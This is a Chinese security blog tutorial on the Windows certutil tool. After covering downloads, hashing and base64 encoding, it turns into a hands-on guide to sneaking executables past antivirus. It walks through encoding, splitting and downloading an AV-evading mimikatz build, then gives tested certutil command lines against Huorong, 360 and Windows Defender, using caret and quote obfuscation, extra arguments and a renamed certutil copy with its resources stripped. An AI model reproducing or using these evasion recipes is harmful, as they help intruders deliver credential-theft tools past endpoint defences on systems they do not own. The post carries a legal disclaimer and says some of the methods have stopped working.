certutil工具使用和bypass学习
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
更新时间:2022.06.08
本文首发乌鸦安全知识星球
本文中部分方法随着时间推移已失效
1. certutil介绍
certutil.exe
是一个合法Windows
文件,用于管理Windows
证书的程序。
官方的解释是: certutil.exe
是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe
转储和显示证书颁发机构(CA
)配置信息,配置证书服务,备份和还原CA
组件以及验证证书,密钥对和证书链。
以上参考至:https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil
certutil
是windows
下一款下载文件的工具,自从WindowsServer2003
就自带,但是在Server 2003
使用会有问题,也就是说,以下命令是在Win7
及其以后的机器中使用。其功能可校验文件MD5
,SHA1
,SHA256
,下载恶意文件和免杀。
以上参考至:[https://blog.csdn.net/bring_coco/article/details/117352716] (https://blog.csdn.net/bring_coco/article/details/117352716)
网上关于certutil
的bypass
文章很多,但是我发现360
很鸡贼,更新贼快,本文用其他的思路免杀看看。
2. 使用介绍
certutil -?
的指令显示,当前可以做的东西非常的多:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/17645802e6c5ae4162fc85c2ba03f3ab.png?imageView2/2/w/1620)
2.1 文件下载
这个命令几乎是certutil
使用最多的场景之一,在后面还会详细的介绍,首先在本地搭建一个http
的服务:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/b7e93d37727be77d1210e05aa1e69f89.png?imageView2/2/w/1620)
此时的下载命令就是:
certutil.exe -urlcache -split -f http://192.168.22.104/crow.txt
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。
-urlcache
显示或删除URL缓存条目。
无值的命令行选项。
(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)
参考至:https://xz.aliyun.com/t/9737
![](https://ask.qcloudimg.com/http-save/yehe-4061554/b0a29a20bcd9ffaf214e43854b952ee8.png?imageView2/2/w/1620)
使用certutil下载文件会产生缓存,用如下命令查看: certutil -urlcache *
![](https://ask.qcloudimg.com/http-save/yehe-4061554/053ff8bc5d5a3316f953cfa13b9d8c9b.png?imageView2/2/w/1620)
使用命令将当前的缓存删除:
certutil -urlcache * delete
![](https://ask.qcloudimg.com/http-save/yehe-4061554/5e53d6c2423c1c6b56b066610beab2d0.png?imageView2/2/w/1620)
此时缓存已经删除 如果想以后下载文件不想要缓存的话,可以在下载文件结尾加上一个delete
certutil.exe -urlcache -split -f http://192.168.22.104/crow.txt delete
2.2 hash验证
在linux
下可以使用md5
、md5sum
等校验hash
值
![](https://ask.qcloudimg.com/http-save/yehe-4061554/964d6b8d89570ea2a9f2345bbac0b3a1.png?imageView2/2/w/1620)
在Windows
上就可以使用certutil
来计算:
certutil -hashfile crow.txt MD5 //检验MD5
certutil -hashfile crow.txt SHA1 //检验SHA1
certutil -hashfile crow.txt SHA256 //检验SHA256
![](https://ask.qcloudimg.com/http-save/yehe-4061554/0331f2a8a798a1aac1ccbfebdcd2654c.png?imageView2/2/w/1620)
2.3 base64加解密
在这篇文章里面作者使用certutil
对大文件进行了编码传输,并在文件传输之后,将文件进行了还原。
他主要使用的就是使用certutil
的encode
和decode
进行加解密。具体文章地址:https://xz.aliyun.com/t/9737
在这里我以自己以前做的免杀mimikatz
复现一下。
首先将该文件使用certutil
进行编码:
certutil -encode crowsec_bypass_mimikatz.exe m.txt
![](https://ask.qcloudimg.com/http-save/yehe-4061554/90c63ec41f4ec289a9eb4a4861834d9d.png?imageView2/2/w/1620)
将文件使用notepad
打开,当前文件一共9w
多行:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/5ba4381b00c8d82ba474e05d7c059913.png?imageView2/2/w/1620)
按照作者的方法,我将文件分为3个:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/1576076797477a0e1348465647bb59e3.png?imageView2/2/w/1620)
使用ctrl + g
进行快速定位:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/edfdc095424ebc5335a9015d53bb778c.png?imageView2/2/w/1620)
当前分割之后的文件分别为1.txt 2.txt
3.txt
。
![](https://ask.qcloudimg.com/http-save/yehe-4061554/05175260322facbc60ae7ec86b225fe3.png?imageView2/2/w/1620)
然后再使用命令将当前的文件下载过来:
certutil.exe -urlcache -split -f http://192.168.22.104/1.txt
certutil.exe -urlcache -split -f http://192.168.22.104/2.txt
certutil.exe -urlcache -split -f http://192.168.22.104/3.txt
![](https://ask.qcloudimg.com/http-save/yehe-4061554/10ee676b4df81c7f05a571b44cb255bf.png?imageView2/2/w/1620)
将3个文件合并到一个文件中去:
copy *.txt mimikatz.txt //把当前目录下的所有txt合并为mimikatz.txt
![](https://ask.qcloudimg.com/http-save/yehe-4061554/52e99a122eb7703fc296d789886fa2dc.png?imageView2/2/w/1620)
然后对文件进行编码:
certutil -decode mimikatz.txt m.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/33cf0a81806d132f9ae5b3be6f7501cd.png?imageView2/2/w/1620)
此时文件的hash
值和原来的hash
值相同:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/db6736a21658a51d64751e748c4fec47.png?imageView2/2/w/1620)
3. Bypass
在我执行命令的过程中,发现了好多次被各种av
拦截,所以在这里学习下如何bypass
在下面这个链接中
https://view.inews.qq.com/a/20220530A04RST00
作者对于各种场景进行了bypass
和分析,但是在这里发现其中有些方法已经失效了,某某某杀软更新频繁,基本上对着更新,速度很快,那再试试其他的方法吧。
3.1 火绒(已失效)
环境:windows7
+ 最新版火绒
直接执行命令:
certutil -urlcache -split -f http://192.168.22.102/1.txt
certutil -urlcache -split -f http://192.168.22.102/2.txt
certutil -urlcache -split -f http://192.168.22.102/3.txt
![](https://ask.qcloudimg.com/http-save/yehe-4061554/ba27790ea940d6bca045161da1c53545.png?imageView2/2/w/1620)
文件都下载下来了,火绒没有对此进行拦截,那如果下载一个exe
呢?在这里下载一个cmd.exe
试试:
certutil -urlcache -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/66251338a2b998a61f9698bb1a0ea2bc.png?imageView2/2/w/1620)
我的火绒没有对此进行任何的拦截操作。。。。
后来才发现,原来是我的空格问题,我在-spilt
之前多空了一格:
空格两个,bypass 火绒:certutil -urlcache -split -f http://192.168.22.102/1.exe
正常的一个空格:certutil -urlcache -split -f http://192.168.22.102/1.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/aeaf2a1290196703d6b23cd953aee172.png?imageView2/2/w/1620)
多余空格
所以bypass
的方法就很多了,最简单的就是多空一格:
certutil -urlcache -split -f http://192.168.22.102/1.exe -f参数空两格
![](https://ask.qcloudimg.com/http-save/yehe-4061554/be7a3afcf41ebf4f21227526ceef9352.png?imageView2/2/w/1620)
多余参数
不过可以在火绒中加上任意多余的参数:
certutil -urlcache -f -split -f http://192.168.22.102/1.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/4ffced1e4688533bb18dbc20c224e0b7.png?imageView2/2/w/1620)
混淆字符
certutil -u^r^l^cache -split -f http://192.168.22.102/1.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/91fae143da8dda800bbccedbf90d485d.png?imageView2/2/w/1620)
3.2 360
certutil -urlcache -split -f http://192.168.22.102/1.exe
直接被拦截:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/03ebf591b4f07eb892340ff42e8f0fb2.png?imageView2/2/w/1620)
通过学习可知,混淆无法绕过360
,所以将certutil
文件拷贝到当前目录,然后执行命令:
where certutil
copy C:\Windows\System32\certutil.exe crow.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/9a661dec29dcb470b6049ded58c0d635.png?imageView2/2/w/1620)
再来执行命令试试:
crow -urlcache -split -f http://192.168.22.102/cmd.exe
依旧被拦截!执行crow -urlcache
也是一样的结果:这说明360
已经更新了,而且速度很快:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/d6114ef354432d4ec5424f86875f06a9.png?imageView2/2/w/1620)
经过多次操作之后发现,基本上混淆啥的都是没用的,在这里使用restorator 2018
这个工具打开看下,它可以修改exe
的属性和图标等:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/fefb8087b21285e1e307d0b9f3636035.png?imageView2/2/w/1620)
打开之后可以看到这里有很醒目的版本信息:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/930c569aa02bba53e40ad7ca22b02462.png?imageView2/2/w/1620)
所以在这里对版本、图标等全部删除:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/b2eafbf3fa8482ae809f576b3c76bf85.png?imageView2/2/w/1620)
将文件另存为crow3.exe
crow3.exe -urlcache -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/bdc6bc82e5fe16c90fd6bc797a0f74cb.png?imageView2/2/w/1620)
![](https://ask.qcloudimg.com/http-save/yehe-4061554/d8c274979eeca337b44f5b402ef6882e.png?imageView2/2/w/1620)
此时文件下载成功。
所以对于360来说(截止2022.06.09)
where certutil
copy C:\Windows\System32\certutil.exe crow.exe
将crow.exe 去特征,再执行命令
crow3 -urlcache -split -f http://192.168.22.102/cmd.exe
3.3 windows Defender
当前环境为Windows10 ltsb
长期服务器版 启用windows Defender
![](https://ask.qcloudimg.com/http-save/yehe-4061554/3429d24b4b552a8c002c17f7d6f7a712.png?imageView2/2/w/1620)
![](https://ask.qcloudimg.com/http-save/yehe-4061554/720cc7b528ebfd40c527be5d17932aab.png?imageView2/2/w/1620)
直接执行的时候,直接杀
certutil -urlcache -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/1ccca7eac12cbbf6c3fb24de352a376a.png?imageView2/2/w/1620)
简单变形之后,还是杀
certutil -u^r^l^c^a^c^he -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/81a454f49976a2a8311f7dad789fedae.png?imageView2/2/w/1620)
使用刚刚过360的方法,一样被杀:
crow3 -urlcache -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/0465bdaecdbe098e2ce43dc749ad4bc9.png?imageView2/2/w/1620)
下面这个命令不杀:
crow3 -urlcache
继续:
crow3 -urlcache -split
crow3 -urlcache -split -f
crow3 -urlcache -split -f http:
很明显了,这里就开始杀了,要混淆才行。
crow3 -url""cache -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/3ce6804d1c193a293996769f0919ecda.png?imageView2/2/w/1620)
还是不行。 终于,使用"""
bypass成功。
certutil -url""""cache -split -f http://192.168.22.102/cmd.exe
![](https://ask.qcloudimg.com/http-save/yehe-4061554/351f06bdba1271d9e4a75576c947a5a3.png?imageView2/2/w/1620)
使用这个也可以绕过:
![](https://ask.qcloudimg.com/http-save/yehe-4061554/5e671fd5e2ee70a74bd88c77f3377246.png?imageView2/2/w/1620)
经过测试发现,使用""""
都可以绕过windows Defender
![](https://ask.qcloudimg.com/http-save/yehe-4061554/2cb190c0a47d430b9badaa8b0e97f32f.png?imageView2/2/w/1620)
4. 总结
针对certitul
的使用,对av
来说,查杀不算严格,cmd
命令混淆的目的就是为这类服务的,对于不同的环境有不同的方法来做,不要太追求bypass everyone
。
本文跨度时间周期较长,其中的某些方法已经无法过杀软,仅供参考。